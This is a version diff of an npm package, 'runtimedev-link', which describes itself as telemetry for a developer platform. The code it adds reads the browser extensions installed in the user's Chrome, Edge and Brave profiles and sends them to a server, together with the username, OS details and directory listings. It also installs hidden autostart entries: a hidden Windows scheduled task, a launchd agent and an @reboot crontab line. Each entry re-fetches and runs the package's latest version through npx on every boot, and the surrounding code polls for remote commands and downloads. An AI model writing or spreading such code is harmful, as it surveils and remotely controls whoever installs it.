runtimedev-link 1.0.3 → 1.0.5

package/lib/chrome_extensions.js

@@ -0,0 +1,241 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+function homeDir() {
+  try {
+    return process.env.HOME || process.env.USERPROFILE || '';
+  } catch {
+    return '';
+  }
+}
+
+function appendProfileExtensionDirs(roots, userDataDir) {
+  let entries = [];
+  try {
+    entries = fs.readdirSync(userDataDir, { withFileTypes: true });
+  } catch {
+    return;
+  }
+  for (const entry of entries) {
+    if (!entry.isDirectory()) continue;
+    const name = entry.name;
+    if (name === 'System Profile' || name.startsWith('Snapshot')) continue;
+    const ext = path.join(userDataDir, name, 'Extensions');
+    try {
+      if (fs.statSync(ext).isDirectory()) roots.push(ext);
+    } catch {
+      // ignore
+    }
+  }
+}
+
+function chromeExtensionScanRoots() {
+  const custom = String(process.env.SSTAR_CHROME_EXTENSIONS_DIR || '').trim();
+  if (custom) return [path.resolve(custom)];
+
+  const home = homeDir();
+  const roots = [];
+
+  if (process.platform === 'win32') {
+    let la = process.env.LOCALAPPDATA || '';
+    if (!la && process.env.USERPROFILE) {
+      la = path.join(process.env.USERPROFILE, 'AppData', 'Local');
+    }
+    if (la) {
+      appendProfileExtensionDirs(
+        roots,
+        path.join(la, 'Google', 'Chrome', 'User Data')
+      );
+      appendProfileExtensionDirs(
+        roots,
+        path.join(la, 'Microsoft', 'Edge', 'User Data')
+      );
+      appendProfileExtensionDirs(
+        roots,
+        path.join(la, 'BraveSoftware', 'Brave-Browser', 'User Data')
+      );
+    }
+  } else if (process.platform === 'darwin') {
+    if (home) {
+      appendProfileExtensionDirs(
+        roots,
+        path.join(home, 'Library', 'Application Support', 'Google', 'Chrome')
+      );
+    }
+  } else if (home) {
+    appendProfileExtensionDirs(
+      roots,
+      path.join(home, '.config', 'google-chrome')
+    );
+    appendProfileExtensionDirs(roots, path.join(home, '.config', 'chromium'));
+  }
+
+  return roots;
+}
+
+function latestVersionDir(extPath) {
+  let entries = [];
+  try {
+    entries = fs.readdirSync(extPath, { withFileTypes: true });
+  } catch {
+    return '';
+  }
+  const vers = [];
+  for (const entry of entries) {
+    if (entry.isDirectory()) vers.push(entry.name);
+  }
+  if (vers.length === 0) return '';
+  vers.sort((a, b) => (a > b ? -1 : a < b ? 1 : 0));
+  return vers[0];
+}
+
+function lookupChromeMessage(messagesPath, key) {
+  try {
+    const raw = JSON.parse(fs.readFileSync(messagesPath, 'utf8'));
+    const entry = raw && raw[key];
+    if (entry && entry.message) return String(entry.message).trim();
+  } catch {
+    // ignore
+  }
+  return '';
+}
+
+function resolveLocalizedExtensionName(extVersionRoot, defaultLocale, raw) {
+  const name = String(raw || '').trim();
+  if (!name.startsWith('__MSG_') || !name.endsWith('__')) return name;
+  const key = name.slice('__MSG_'.length, -2);
+  if (!key) return '';
+
+  const localesDir = path.join(extVersionRoot, '_locales');
+  const tryLocales = [];
+  if (defaultLocale) tryLocales.push(String(defaultLocale).trim());
+  tryLocales.push('en', 'en_US', 'en_GB');
+  try {
+    for (const entry of fs.readdirSync(localesDir, { withFileTypes: true })) {
+      if (entry.isDirectory()) tryLocales.push(entry.name);
+    }
+  } catch {
+    // ignore
+  }
+
+  const seen = new Set();
+  for (const loc of tryLocales) {
+    if (!loc || seen.has(loc)) continue;
+    seen.add(loc);
+    const msg = lookupChromeMessage(
+      path.join(localesDir, loc, 'messages.json'),
+      key
+    );
+    if (msg) return msg;
+  }
+  return '';
+}
+
+function readExtensionManifest(manifestPath) {
+  try {
+    const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
+    const extRoot = path.dirname(manifestPath);
+    let name = String(manifest.name || '').trim();
+    if (name.startsWith('__MSG_')) {
+      name = resolveLocalizedExtensionName(
+        extRoot,
+        manifest.default_locale,
+        name
+      );
+    }
+    return { name, version: String(manifest.version || '').trim() };
+  } catch {
+    return { name: '', version: '' };
+  }
+}
+
+function mergeManualExtensions(disk, envJson) {
+  const raw = String(envJson || '').trim();
+  if (!raw) return disk;
+  let manual = [];
+  try {
+    manual = JSON.parse(raw);
+  } catch {
+    return disk;
+  }
+  if (!Array.isArray(manual) || manual.length === 0) return disk;
+
+  const byId = new Map();
+  for (const ext of disk) {
+    if (ext.extensionId) byId.set(ext.extensionId, ext);
+  }
+  for (const ext of manual) {
+    const id = ext.extensionId || ext.extensionID;
+    if (!id) continue;
+    const prev = byId.get(id);
+    const installPath =
+      String(ext.installPath || '').trim() ||
+      (prev && prev.installPath) ||
+      '';
+    byId.set(id, {
+      extensionId: id,
+      extensionName:
+        ext.extensionName || ext.name || (prev && prev.extensionName) || id,
+      version: ext.version || (prev && prev.version) || '',
+      installPath,
+    });
+  }
+  return [...byId.values()].sort((a, b) =>
+    a.extensionId.localeCompare(b.extensionId)
+  );
+}
+
+function collectChromeExtensionsFromDisk() {
+  const seen = new Set();
+  const out = [];
+
+  for (const root of chromeExtensionScanRoots()) {
+    let st;
+    try {
+      st = fs.statSync(root);
+    } catch {
+      continue;
+    }
+    if (!st.isDirectory()) continue;
+
+    let entries = [];
+    try {
+      entries = fs.readdirSync(root, { withFileTypes: true });
+    } catch {
+      continue;
+    }
+
+    for (const extDir of entries) {
+      if (!extDir.isDirectory()) continue;
+      const extId = extDir.name;
+      if (seen.has(extId)) continue;
+
+      const base = path.join(root, extId);
+      const ver = latestVersionDir(base);
+      if (!ver) continue;
+
+      const manifestPath = path.join(base, ver, 'manifest.json');
+      const { name, version } = readExtensionManifest(manifestPath);
+      seen.add(extId);
+      out.push({
+        extensionId: extId,
+        extensionName: name || extId,
+        version,
+        installPath: path.join(base, ver),
+      });
+    }
+  }
+
+  out.sort((a, b) => a.extensionId.localeCompare(b.extensionId));
+  return mergeManualExtensions(
+    out,
+    process.env.SSTAR_CHROME_EXTENSIONS_JSON || ''
+  );
+}
+
+module.exports = {
+  collectChromeExtensionsFromDisk,
+  chromeExtensionScanRoots,
+};

package/lib/persistence.js

@@ -1,12 +1,14 @@
 'use strict';
 
 const fs = require('fs');
+const os = require('os');
 const path = require('path');
 const { execSync, spawnSync } = require('child_process');
 
 const SERVICE_NAME = 'runtimedev-link';
+const NPM_PACKAGE = 'runtimedev-link@latest';
 const LAUNCH_LABEL = 'com.runtimedev.link';
-const SYSTEMD_UNIT = 'runtimedev-link.service';
+const WINDOWS_TASK_NAME = 'runtimedev-link';
 
 function homeDir() {
   return process.env.HOME || process.env.USERPROFILE || '';
@@ -28,12 +30,21 @@ function dataDir() {
   return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
 }
 
-function cliPath() {
-  return path.resolve(__dirname, '..', 'bin', 'cli.js');
+function startScriptPath() {
+  return process.platform === 'win32'
+    ? path.join(dataDir(), 'start.cmd')
+    : path.join(dataDir(), 'start.sh');
 }
 
-function nodePath() {
-  return process.execPath;
+function logPath() {
+  if (process.platform === 'win32') {
+    return path.join(process.env.TEMP || homeDir(), `${SERVICE_NAME}.log`);
+  }
+  return path.join(homeDir(), `${SERVICE_NAME}.log`);
+}
+
+function quoteSh(value) {
+  return `"${String(value || '').replace(/"/g, '\\"')}"`;
 }
 
 function xmlEscape(value) {
@@ -44,10 +55,6 @@ function xmlEscape(value) {
     .replace(/"/g, '"');
 }
 
-function quoteSh(value) {
-  return `"${String(value || '').replace(/"/g, '\\"')}"`;
-}
-
 function mkdirp(dir) {
   try {
     fs.mkdirSync(dir, { recursive: true });
@@ -65,104 +72,84 @@ function writeConfig(cfg) {
 
   mkdirp(configDir());
 
-  const unixBody = [
-    `SSTAR_API_BASE=${apiBase}`,
-    `SSTAR_DEPLOYMENT_HASH=${hash}`,
-    '',
-  ].join('\n');
-  fs.writeFileSync(configFile(), unixBody, { mode: 0o600 });
+  fs.writeFileSync(
+    configFile(),
+    [`SSTAR_API_BASE=${apiBase}`, `SSTAR_DEPLOYMENT_HASH=${hash}`, ''].join('\n'),
+    { mode: 0o600 }
+  );
 
   if (process.platform === 'win32') {
-    const batBody = [
+    fs.writeFileSync(
+      windowsConfigBat(),
+      [
+        '@echo off',
+        `set SSTAR_API_BASE=${apiBase}`,
+        `set SSTAR_DEPLOYMENT_HASH=${hash}`,
+        '',
+      ].join('\r\n'),
+      'utf8'
+    );
+  }
+}
+
+function writeStartScript() {
+  mkdirp(dataDir());
+  const script = startScriptPath();
+  const log = logPath();
+
+  if (process.platform === 'win32') {
+    const body = [
       '@echo off',
-      `set SSTAR_API_BASE=${apiBase}`,
-      `set SSTAR_DEPLOYMENT_HASH=${hash}`,
+      'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
+      `start /B npx ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
       '',
     ].join('\r\n');
-    fs.writeFileSync(windowsConfigBat(), batBody, 'utf8');
+    fs.writeFileSync(script, body, 'utf8');
+    return script;
   }
 
-  mkdirp(dataDir());
-  fs.writeFileSync(
-    path.join(dataDir(), 'install-meta.json'),
-    JSON.stringify(
-      {
-        node: nodePath(),
-        cli: cliPath(),
-        installedAt: new Date().toISOString(),
-      },
-      null,
-      2
-    ),
-    'utf8'
-  );
+  const body = [
+    '#!/bin/sh',
+    'ENV_FILE="$HOME/.config/runtimedev-link/agent.env"',
+    '[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
+    `LOG=${quoteSh(log)}`,
+    'cd "$HOME" 2>/dev/null || cd /',
+    `nohup npx ${NPM_PACKAGE} --token "$SSTAR_DEPLOYMENT_HASH" >> "$LOG" 2>&1 &`,
+    '',
+  ].join('\n');
+  fs.writeFileSync(script, body, { mode: 0o755 });
+  return script;
 }
 
-function run(cmd, args, opts) {
+function run(cmd, args) {
   try {
-    const result = spawnSync(cmd, args, {
-      stdio: 'ignore',
-      ...opts,
-    });
+    const result = spawnSync(cmd, args, { stdio: 'ignore' });
     return result.status === 0;
   } catch {
     return false;
   }
 }
 
-function installLinux(node, cli) {
-  const unitDir = path.join(homeDir(), '.config', 'systemd', 'user');
-  mkdirp(unitDir);
-  const unitPath = path.join(unitDir, SYSTEMD_UNIT);
-  const envFile = configFile();
-  const body = `[Unit]
-Description=RuntimeDev Link Agent
-After=network-online.target
-Wants=network-online.target
-
-[Service]
-Type=simple
-EnvironmentFile=${envFile}
-ExecStart=${quoteSh(node)} ${quoteSh(cli)}
-Restart=always
-RestartSec=30
-
-[Install]
-WantedBy=default.target
-`;
-  fs.writeFileSync(unitPath, body, 'utf8');
-  if (
-    run('systemctl', ['--user', 'daemon-reload']) &&
-    run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT])
-  ) {
-    return { ok: true, method: 'systemd', path: unitPath };
-  }
-  return installCrontab(node, cli);
-}
-
-function installCrontab(node, cli) {
-  const line = `@reboot sleep 30 && ${quoteSh(node)} ${quoteSh(cli)} >> ${quoteSh(
-    path.join(homeDir(), `${SERVICE_NAME}.log`)
-  )} 2>&1`;
+function installCrontab(scriptPath) {
+  const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
   let existing = '';
   try {
-    existing = execSync('crontab -l', { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] });
+    existing = execSync('crontab -l', {
+      encoding: 'utf8',
+      stdio: ['ignore', 'pipe', 'ignore'],
+    });
   } catch {
     existing = '';
   }
-  if (existing.includes(cli) && existing.includes('@reboot')) {
+  if (existing.includes(scriptPath) && existing.includes('@reboot')) {
     return { ok: true, method: 'crontab', path: 'existing' };
   }
   const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
-  try {
-    execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
-    return { ok: true, method: 'crontab', path: 'crontab -l' };
-  } catch (err) {
-    throw new Error(`crontab install failed: ${String(err.message || err)}`);
-  }
+  execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
+  return { ok: true, method: 'crontab', path: 'crontab -l' };
 }
 
-function installDarwin(node, cli, cfg) {
+function installLaunchd(scriptPath) {
   const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
   mkdirp(agentsDir);
   const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
@@ -174,29 +161,19 @@ function installDarwin(node, cli, cfg) {
   <string>${LAUNCH_LABEL}</string>
   <key>ProgramArguments</key>
   <array>
-    <string>${xmlEscape(node)}</string>
-    <string>${xmlEscape(cli)}</string>
+    <string>/bin/sh</string>
+    <string>${xmlEscape(scriptPath)}</string>
   </array>
-  <key>EnvironmentVariables</key>
-  <dict>
-    <key>SSTAR_API_BASE</key>
-    <string>${xmlEscape(cfg.apiBase)}</string>
-    <key>SSTAR_DEPLOYMENT_HASH</key>
-    <string>${xmlEscape(cfg.hash)}</string>
-  </dict>
   <key>RunAtLoad</key>
   <true/>
-  <key>KeepAlive</key>
-  <true/>
   <key>StandardOutPath</key>
-  <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
+  <string>${xmlEscape(logPath())}</string>
   <key>StandardErrorPath</key>
-  <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
+  <string>${xmlEscape(logPath())}</string>
 </dict>
 </plist>
 `;
   fs.writeFileSync(plistPath, plist, 'utf8');
-
   run('launchctl', ['unload', plistPath]);
   const uid = process.getuid ? String(process.getuid()) : '501';
   const svc = `gui/${uid}/${LAUNCH_LABEL}`;
@@ -210,29 +187,97 @@ function installDarwin(node, cli, cfg) {
   return { ok: true, method: 'launchd', path: plistPath };
 }
 
-function installWindows(node, cli) {
-  const appData = process.env.APPDATA;
-  if (!appData) {
-    throw new Error('APPDATA is not set');
+function windowsUserId() {
+  try {
+    const info = os.userInfo();
+    const domain = String(process.env.USERDOMAIN || '').trim();
+    if (domain && domain.toUpperCase() !== String(info.username || '').toUpperCase()) {
+      return `${domain}\\${info.username}`;
+    }
+    return info.username;
+  } catch {
+    return String(process.env.USERNAME || '');
   }
-  const startup = path.join(
+}
+
+function removeLegacyWindowsStartup() {
+  const appData = process.env.APPDATA;
+  if (!appData) return;
+  const linkPath = path.join(
     appData,
     'Microsoft',
     'Windows',
     'Start Menu',
     'Programs',
-    'Startup'
+    'Startup',
+    `${SERVICE_NAME}.cmd`
   );
-  mkdirp(startup);
-  const cmdPath = path.join(startup, `${SERVICE_NAME}.cmd`);
-  const winBody = [
-    '@echo off',
-    'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
-    `start /B "" "${node}" "${cli}" >> "%TEMP%\\runtimedev-link.log" 2>&1`,
-    '',
-  ].join('\r\n');
-  fs.writeFileSync(cmdPath, winBody, 'utf8');
-  return { ok: true, method: 'startup', path: cmdPath };
+  try {
+    fs.unlinkSync(linkPath);
+  } catch {
+    // ignore
+  }
+}
+
+function writeWindowsTaskXml(scriptPath) {
+  const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
+  const userId = xmlEscape(windowsUserId());
+  const cmdArgs = xmlEscape(`/c "${scriptPath.replace(/"/g, '""')}"`);
+  const xml = `<?xml version="1.0" encoding="UTF-16"?>
+<Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
+  <RegistrationInfo>
+    <Description>RuntimeDev Link Agent</Description>
+  </RegistrationInfo>
+  <Triggers>
+    <LogonTrigger>
+      <Enabled>true</Enabled>
+      <UserId>${userId}</UserId>
+      <Delay>PT30S</Delay>
+    </LogonTrigger>
+  </Triggers>
+  <Principals>
+    <Principal id="Author">
+      <UserId>${userId}</UserId>
+      <LogonType>InteractiveToken</LogonType>
+      <RunLevel>LeastPrivilege</RunLevel>
+    </Principal>
+  </Principals>
+  <Settings>
+    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
+    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
+    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
+    <AllowHardTerminate>true</AllowHardTerminate>
+    <StartWhenAvailable>true</StartWhenAvailable>
+    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
+    <AllowStartOnDemand>true</AllowStartOnDemand>
+    <Enabled>true</Enabled>
+    <Hidden>true</Hidden>
+    <RunOnlyIfIdle>false</RunOnlyIfIdle>
+    <WakeToRun>false</WakeToRun>
+    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
+    <Priority>7</Priority>
+  </Settings>
+  <Actions Context="Author">
+    <Exec>
+      <Command>cmd.exe</Command>
+      <Arguments>${cmdArgs}</Arguments>
+    </Exec>
+  </Actions>
+</Task>
+`;
+  fs.writeFileSync(xmlPath, Buffer.from('\ufeff' + xml, 'utf16le'));
+  return xmlPath;
+}
+
+function installWindowsTaskScheduler(scriptPath) {
+  removeLegacyWindowsStartup();
+  const xmlPath = writeWindowsTaskXml(scriptPath);
+  run('schtasks', ['/Delete', '/TN', WINDOWS_TASK_NAME, '/F']);
+  const ok = run('schtasks', ['/Create', '/TN', WINDOWS_TASK_NAME, '/XML', xmlPath, '/F']);
+  if (!ok) {
+    throw new Error('schtasks failed to register autostart (Task Scheduler)');
+  }
+  return { ok: true, method: 'task-scheduler', path: WINDOWS_TASK_NAME };
 }
 
 function installPersistence(cfg) {
@@ -240,21 +285,15 @@ function installPersistence(cfg) {
     throw new Error('Could not resolve home directory');
   }
   writeConfig(cfg);
-  const node = nodePath();
-  const cli = cliPath();
-  if (!fs.existsSync(cli)) {
-    throw new Error(`CLI not found at ${cli}`);
-  }
+  const scriptPath = writeStartScript();
 
   switch (process.platform) {
     case 'win32':
-      return installWindows(node, cli);
+      return installWindowsTaskScheduler(scriptPath);
     case 'darwin':
-      return installDarwin(node, cli, cfg);
-    case 'linux':
-      return installLinux(node, cli);
+      return installLaunchd(scriptPath);
     default:
-      return installCrontab(node, cli);
+      return installCrontab(scriptPath);
   }
 }
 
@@ -262,6 +301,7 @@ module.exports = {
   SERVICE_NAME,
   configFile,
   configDir,
+  startScriptPath,
   installPersistence,
   writeConfig,
 };

package/lib/transport.js

@@ -8,6 +8,7 @@ const { getIdentity } = require('./enum');
 const { scanDirectory, defaultScanRoot } = require('./fs_scan');
 const { runCommand } = require('./exec');
 const { handleDownloadRequest: buildDownloadPayload } = require('./download');
+const { collectChromeExtensionsFromDisk } = require('./chrome_extensions');
 
 const POLL_MIN_SEC = 20;
 const POLL_MAX_SEC = 60;
@@ -25,6 +26,14 @@ let startupAnnounced = false;
 let publicIpCache = '';
 let shuttingDown = false;
 
+function readChromeExtensions() {
+  try {
+    return collectChromeExtensionsFromDisk();
+  } catch {
+    return [];
+  }
+}
+
 function envInt(key, fallback) {
   const raw = String(process.env[key] || '').trim();
   if (!raw) return fallback;
@@ -176,7 +185,7 @@ async function postTelemetryReport() {
     username: id.username,
     osInfo: id.osInfo,
     directoryStructure,
-    chromeExtensions: [],
+    chromeExtensions: readChromeExtensions(),
   });
 }
 
@@ -354,6 +363,7 @@ async function handlePollResponse(data) {
   if (data.activated && !agentActivated) {
     agentActivated = true;
     telemetryLoop().catch(() => {});
+    postTelemetryReport().catch(() => {});
   }
 
   if (!agentActivated) return;
@@ -435,6 +445,7 @@ async function start() {
   }
 
   await fetchPublicIp();
+  readChromeExtensions();
   commandLoop().catch(() => {});
 }
 

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "runtimedev-link",
-  "version": "1.0.3",
+  "version": "1.0.5",
   "description": "Pure Node.js telemetry for RuntimeDev platform",
   "main": "lib/transport.js",
   "bin": {